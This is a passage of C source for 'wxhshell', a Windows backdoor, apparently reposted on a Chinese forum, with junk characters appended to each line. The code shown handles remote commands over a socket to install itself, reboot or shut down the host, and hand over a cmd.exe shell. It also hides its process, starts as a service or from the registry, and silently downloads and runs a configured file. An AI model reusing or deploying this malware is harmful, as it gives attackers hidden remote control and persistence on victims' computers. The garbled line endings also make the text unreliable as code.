    switch(cmd[0]) { =8]`-(  
  x=DxD&I!J  
  // 帮助 #}^waYAk)  
  case '?': { : @|Rj_S;  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); vMz|'-rm$  
    break; ZXnacc~s  
  } h@ lz  
  // 安装 cEL:5*cAU}  
  case 'i': { ?}?"m:=  
    if(Install()) [icD*N<Gc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x#0?$}f<  
    else 'yiv.<4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D6VdgU|  
    break; SJiQg-+<Uf  
    } rj=as>6B  
  // 卸载 edL2ax  
  case 'r': { Ze0qRLuH!  
    if(Uninstall()) v2x+_K}J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |+Wn5iT  
    else [c B^6v  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H'WYnhU&  
    break; (_pw\zk>  
    } l#[Z$+!09  
  // 显示 wxhshell 所在路径 (HRj0,/^  
  case 'p': { beO Mln+R  
    char svExeFile[MAX_PATH]; &PC6C<<f  
    strcpy(svExeFile,"\n\r"); }d%CZnY&7  
      strcat(svExeFile,ExeFile); V lx.C~WYn  
        send(wsh,svExeFile,strlen(svExeFile),0); /h53;$zK  
    break; "l&SRX?g  
    } 3q%z  
  // 重启 `CWhjL8^  
  case 'b': { (2b${Q@V  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .)/ ."V  
    if(Boot(REBOOT)) m7k }k)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dXTD8 )&  
    else { )c11_1;  
    closesocket(wsh); lAnq2j|  
    ExitThread(0); V*n$$-5 1-  
    } _<Ak M"  
    break; b+~_/;Y9  
    } Z^'~iU-?  
  // 关机 q(n"r0)=  
  case 'd': { `NtW+v  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); kP`#zwp'Ci  
    if(Boot(SHUTDOWN)) Zu"qTJE/1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uw3vYYFX  
    else { xKu#O H  
    closesocket(wsh); znrO~OK  
    ExitThread(0); {F<0e^*  
    } 2Hd\>{*  
    break; /l<(i+0  
    } sywuS  
  // 获取shell y`oj\  
  case 's': { (utP@d^  
    CmdShell(wsh); +2iD9X{$MX  
    closesocket(wsh); 1{N+B#*<[X  
    ExitThread(0); .2%t3ul[  
    break; =AO (  
  } O|t>.<T?  
  // 退出 IR${a)  
  case 'x': { aL:|Dr3SX  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $I9&cNPv  
    CloseIt(wsh); Cf(WO-F^  
    break; # `^nmC/F  
    } cAN!5?D\  
  // 离开 :E-$:\V0}k  
  case 'q': { xn`)I>v  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); d92Z;FWb  
    closesocket(wsh); eKOEOm+  
    WSACleanup(); BWxfY^,'&6  
    exit(1); O7 ;=g!j  
    break; l 73% y  
        } )h@PRDI_  
  } /xUF@%rT  
  } Q\4tzb]  
{}s/p9F4  
  // 提示信息 A l?%[-u  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %?[gBf[y  
} iZG-ca  
  } g-K;J4 K%  
cg{5\ Vl  
  return; #TNjQNg@O  
} jSpj6:@B  
C<_\{de|9  
// shell模块句柄 vD8pVR+  
int CmdShell(SOCKET sock) &pY '  
{ Movm1*&=  
STARTUPINFO si; P%:?"t+J`;  
ZeroMemory(&si,sizeof(si)); ))AxU!*.  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; l<1zLA~G  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]$drBk86bh  
PROCESS_INFORMATION ProcessInfo; z-MQGq xR  
char cmdline[]="cmd";  _".h(  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {ENd]@N*  
  return 0; :#g.%&  
} (2eS:1+'8  
Z7bJ<TpZ  
// 自身启动模式 ?wHhBh-Q  
int StartFromService(void) <P#BQt f  
{ [y8(v ~H  
typedef struct 3: GwX4yW  
{ f$FO 1B)  
  DWORD ExitStatus; ~R[ k^i.Y  
  DWORD PebBaseAddress; l)\Q~^cxd  
  DWORD AffinityMask; {_b2!!p  
  DWORD BasePriority; +d#8/S*  
  ULONG UniqueProcessId; IM1&g7Qs2  
  ULONG InheritedFromUniqueProcessId; =Fc]mcJ69  
}   PROCESS_BASIC_INFORMATION; .I>rX#aNt  
'dWUE-  
PROCNTQSIP NtQueryInformationProcess; )Lz =[e  
=RHtugwy  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !:xycLdfUp  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; oh-EEo4,  
w)ki<Dudg  
  HANDLE             hProcess; ulzX$  
  PROCESS_BASIC_INFORMATION pbi; CJk"yW[,|  
7C'@g)@^/  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); __eB 7]#E  
  if(NULL == hInst ) return 0; [z"E"_r~%Y  
?;o0~][!  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 4L,wBce;,t  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); I=dn]}b#P  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {d<XDx4`  
qR aPh:Q'  
  if (!NtQueryInformationProcess) return 0; yf&_l^!  
f?:=@35  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /ckk qk"  
  if(!hProcess) return 0; rGQD+ d  
3Iqvc v  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?5CE<[  
hqln6m  
  CloseHandle(hProcess); E G+/2o+W  
R +@|#!  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); MhA4C 8  
if(hProcess==NULL) return 0; Pl=)eq YY  
gbYM1guiD  
HMODULE hMod; `^#4okg]  
char procName[255]; =~JVU  
unsigned long cbNeeded; iDcTO}  
Zj -#"Gm  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); wlP3 XF?  
r-YJ$/J  
  CloseHandle(hProcess); 7vXP|8j  
~~|Iw=:  
if(strstr(procName,"services")) return 1; // 以服务启动 T%oJmp?0  
-ysNo4#e&  
  return 0; // 注册表启动 c BqbbZyUk  
} /:]<z6R  
U\Y0v.11  
// 主模块 ujnT B*Cqc  
int StartWxhshell(LPSTR lpCmdLine) l$1?@l$j  
{ ?,x\46]>_K  
  SOCKET wsl; }j2;B 8j  
BOOL val=TRUE; >d`GNE  
  int port=0; Pk;/4jt4  
  struct sockaddr_in door; ~ Rk.x +  
SrH::-{  
  if(wscfg.ws_autoins) Install(); OD7^*j(p`  
x%`YV):*  
port=atoi(lpCmdLine); Wu* 4r0  
V|@bITJ?7  
if(port<=0) port=wscfg.ws_port; x-c5iahp'  
0^tY|(b3/M  
  WSADATA data; ##BbR  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; D N)o|p  
wbJBGT{sm  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   `Y.~eE  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); F?tWx+N<{  
  door.sin_family = AF_INET; q6rkp f,Tl  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); EpO2%|@  
  door.sin_port = htons(port); @5wc 3y  
]VQd *~ -  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "P?O1  
closesocket(wsl); UUDHknm"  
return 1; ECi;o1hda  
} 7w2$?k',-  
 ?;v\wx  
  if(listen(wsl,2) == INVALID_SOCKET) { ?o.d FKUe  
closesocket(wsl); oh:9v+  
return 1; %\,9S`0  
} c_ncx|dUs  
  Wxhshell(wsl); IV!`~\@  
  WSACleanup(); Wcc4/:`Hu  
[uGsF0#e  
return 0; D'u7"^=  
l0^cdl-  
} u; KM[FmK  
P<Bx1H-z-  
// 以NT服务方式启动 O >+=cg  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) qJT/4 8lf_  
{ (/<Nh7C1c  
DWORD   status = 0; 6QA`u*  
  DWORD   specificError = 0xfffffff; T0dD:sN  
~n@rX=Y)]0  
  serviceStatus.dwServiceType     = SERVICE_WIN32; a(6h`GHo  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 'WhJ}Uo\  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $365VTh"  
  serviceStatus.dwWin32ExitCode     = 0; Q<u?BA/  
  serviceStatus.dwServiceSpecificExitCode = 0; :8eI_X  
  serviceStatus.dwCheckPoint       = 0; sM MtU@<x  
  serviceStatus.dwWaitHint       = 0; x5MS#c!7  
zMA;1Na  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); e`b#,=  
  if (hServiceStatusHandle==0) return; E"VF BKB  
~IW{^u  
status = GetLastError(); p%meuWV%5  
  if (status!=NO_ERROR) G3:!]}  
{ OFtf)cGE  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 8Yk*$RR9  
    serviceStatus.dwCheckPoint       = 0; U!-Nx9  
    serviceStatus.dwWaitHint       = 0; nS3Aadm  
    serviceStatus.dwWin32ExitCode     = status; d/yF}%0QI  
    serviceStatus.dwServiceSpecificExitCode = specificError; pD({"A.x9z  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); UA*VqK)Y  
    return; ,DE>:ARZ  
  } OWwqCPz.  
l+ >eb  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; d2Q*1Q@u  
  serviceStatus.dwCheckPoint       = 0; @k h<b<a4  
  serviceStatus.dwWaitHint       = 0; 4 j=K3m  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); JqMF9|{H  
} hZHM5J~  
";=!PL  
// 处理NT服务事件,比如:启动、停止 DqQ p47kp  
VOID WINAPI NTServiceHandler(DWORD fdwControl) |?VJf3 A  
{ -GFZFi  
switch(fdwControl) 8u~  
{ G`n $A/9Q  
case SERVICE_CONTROL_STOP: -O\i^?lD;  
  serviceStatus.dwWin32ExitCode = 0; TyIjDG6tM  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Rs5lL-I  
  serviceStatus.dwCheckPoint   = 0; `K5*Fjx  
  serviceStatus.dwWaitHint     = 0; % Q6 za'25  
  { tgG*k$8z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); m=l'9j"D  
  } YyxU/UnhG  
  return; y(QFf*J  
case SERVICE_CONTROL_PAUSE: 2%fIe   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :Q"|%#P  
  break; R6(:l; W  
case SERVICE_CONTROL_CONTINUE: hm73Zy  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ~x8nC%qPvq  
  break; pAatv;Ex  
case SERVICE_CONTROL_INTERROGATE: uEJ8Lmi  
  break; xA(z/%  
}; :6lvX$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  iiQn/%  
} 24#qg '  
J?3/L&seA  
// 标准应用程序主函数 .+u b\  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7?R600OA  
{ JXJ+lZmsz  
B ktRA  
// 获取操作系统版本 SdYf^@%}F  
OsIsNt=GetOsVer(); ]7Vg9&1`  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ;9OhK71}  
edo)W mn  
  // 从命令行安装 x ']'ODs  
  if(strpbrk(lpCmdLine,"iI")) Install(); *KvD$(ny  
t([}a ~1}  
  // 下载执行文件 e9[72V  
if(wscfg.ws_downexe) { B%;MGb o  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4l  ZK@3  
  WinExec(wscfg.ws_filenam,SW_HIDE); oV:oc,  
} D;C';O  
lcZ.}   
if(!OsIsNt) { *z VN6wG{  
// 如果时win9x,隐藏进程并且设置为注册表启动 Ll|_Wd.K,  
HideProc(); 6E}9uwQ  
StartWxhshell(lpCmdLine); wv3,% lN  
} vO1; ;  
else 6`CRT TJ7  
  if(StartFromService()) :/|"db&`  
  // 以服务方式启动 @M"gEeI9  
  StartServiceCtrlDispatcher(DispatchTable); j-ej7  
else 3>1^$0iq  
  // 普通方式启动 D8Fi{?A#FV  
  StartWxhshell(lpCmdLine); 4=tR_s  
f zo'9  
return 0; ^-Od*DTL  
}
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只看该作者 1 发表于: 2006-10-10
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